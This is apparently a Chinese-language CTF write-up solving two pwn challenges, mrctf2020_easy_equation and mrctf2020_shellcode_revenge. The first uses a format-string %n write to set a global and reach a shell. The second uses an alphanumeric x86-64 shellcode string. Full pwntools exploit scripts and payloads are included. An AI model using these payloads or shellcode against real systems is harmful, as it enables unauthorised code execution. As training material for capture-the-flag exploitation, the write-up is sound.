mrctf2020_easy_equation

mrctf2020_easy_equation


知识点:

格式符 作用
%x 打印栈上的4字节数据(十六进制)
%s 打印栈上指针指向的字符串
%n 写已打印字符数到对应指针指向的地址
%p 打印指针值(地址)
%d 打印十进制整数
%c 输出一个字符

格式化字符串漏洞修改内存:
通过控制输出字符数来间接修改内存:
利用%n系列占位符的 “输出计数写入” 特性,通过控制输出的字符总数,间接将目标值写入指定内存地址。
这种 “间接性” 是由格式化函数的设计决定的,也是漏洞利用的核心技巧 —— 攻击者需要精确计算输出字符数,才能让%n写入预期的值。
(不是直接修改数值)

  • %c:输出一个字符。
  • %n:将当前已输出的字符总数写入指定地址。
  • %k$hn:将字符总数写入第 k 个参数指向的地址(hn 表示写入 2 字节)。

准备


64位,开了 NX

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+Fh] [rbp-1h] BYREF

memset(&s, 0, 0x400uLL);
fgets(&s, 1023, stdin);
printf(&s);
if ( 11 * judge * judge + 17 * judge * judge * judge * judge - 13 * judge * judge * judge - 7 * judge == 198 )
system("exec /bin/sh");
return 0;
}

开头有一个输入,存在格式化字符串漏洞
下面有一个 if 判断,判断的条件是 11*judge²+17*judge⁴-13*judge³-7*judge 是否等于 198
等于时,有直接的连接点

思路:

这里当 judge=2 时,满足 if 判断
所以我们要利用格式化字符串修改 judge 参数的值为 2
先获得偏移(写入地址)

参数位置为7,若要输入完整的地址,还需在填充一个偏移,写在第 8 个参数上
在获取 judge 参数的地址

judge 参数的地址为 0x60105C
最后构造 payload ,这里给几个都可以的 payload

1
2
3
4
5
judge=0x60105C
payload = b'a'+b'%1c%9$na'+p64(judge)
# payload = b'a'+b'a%9$naaa'+p64(judge)
# payload = b'aa%9$naaa'+p64(judge)
io.sendline(payload)

参数说明(以第一个为例):
首先填充一个偏移, b'a' 写在第 7 个参数位置上
然后格式化字符串修改内存是通过写入字符数,来控制目标值的写入
考虑前面已经填充的一个字节,这里我们只用再写入一个字节,就可以达到目标值 2
写入一个字节的方式直接的 a 或者 %1c
%9$n 是取栈第 9 个参数当地址,把当前输出字符总数( 2 )写到这个地址
这里: b'a' 第 7 个参数,b'%1c%9$na' 第 8 个参数,p64(judge) 第 9 个参数
%9$n 后面的 a 是填充,64位程序一个地址 8 字节,填充使得 b'%1c%9$na' 这里有8字节,p64(judge) 完整的地址在第 9 个参数

脚本

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(os='linux',log_level = 'debug')
# io=remote('node4.anna.nssctf.cn',28244)
io= process('/home/motaly/eq')

judge=0x60105C
payload = b'a'+b'%1c%9$na'+p64(judge)
# payload = b'a'+b'a%9$naaa'+p64(judge)
# payload = b'aa%9$naaa'+p64(judge)
io.sendline(payload)
io.interactive()

mrctf2020_shellcode_revenge

picoctf_2018_shellcode

准备


64 位,开了 PIE 保护

分析

main函数

反编译的时候发现问题,反编译不了

根据提示修改 124D 的汇编


(改为 nop 自认为看函数影响不大)
然后反编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[1032]; // [rsp+0h] [rbp-410h] BYREF
int i_1; // [rsp+408h] [rbp-8h]
int i; // [rsp+40Ch] [rbp-4h]

write(1, "Show me your magic!\n", 0x14uLL);
i_1 = read(0, buf, 0x400uLL);
if ( i_1 <= 0 )
return 0;
for ( i = 0; i < i_1; ++i )
{
if ( ((char)buf[i] <= 96 || (char)buf[i] > 122)
&& ((char)buf[i] <= 64 || (char)buf[i] > 90)
&& ((char)buf[i] <= 47 || (char)buf[i] > 90) )
{
printf("I Can't Read This!");
return 0;
}
}
return 0;
}

read 函数,读取输入最大 1024(0x400) 个字节到 bufbuf 大小为 1032,不存在缓冲区溢出
下面用 for 循环限制输入为大小写字母

思路

这题没开 NX 保护且输入可用空间够大,所以可以直接写入 shellcode
但这里限制了输入为大小写字母,所以用可见字符的 shellcode

1
2
3
io.recvuntil(b'Show me your magic!')
shellcode=b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
io.send(shellcode)

注意:发送的时候不能加换行,会加上 \n 符号,影响输入的 shellcode

脚本

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(os='linux',log_level='debug',arch='amd64')
io=remote('node5.buuoj.cn',27966)
# io= process('/home/motaly/sr')
elf=ELF('/home/motaly/sr')

io.recvuntil(b'Show me your magic!')
shellcode=b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
io.send(shellcode)

io.interactive()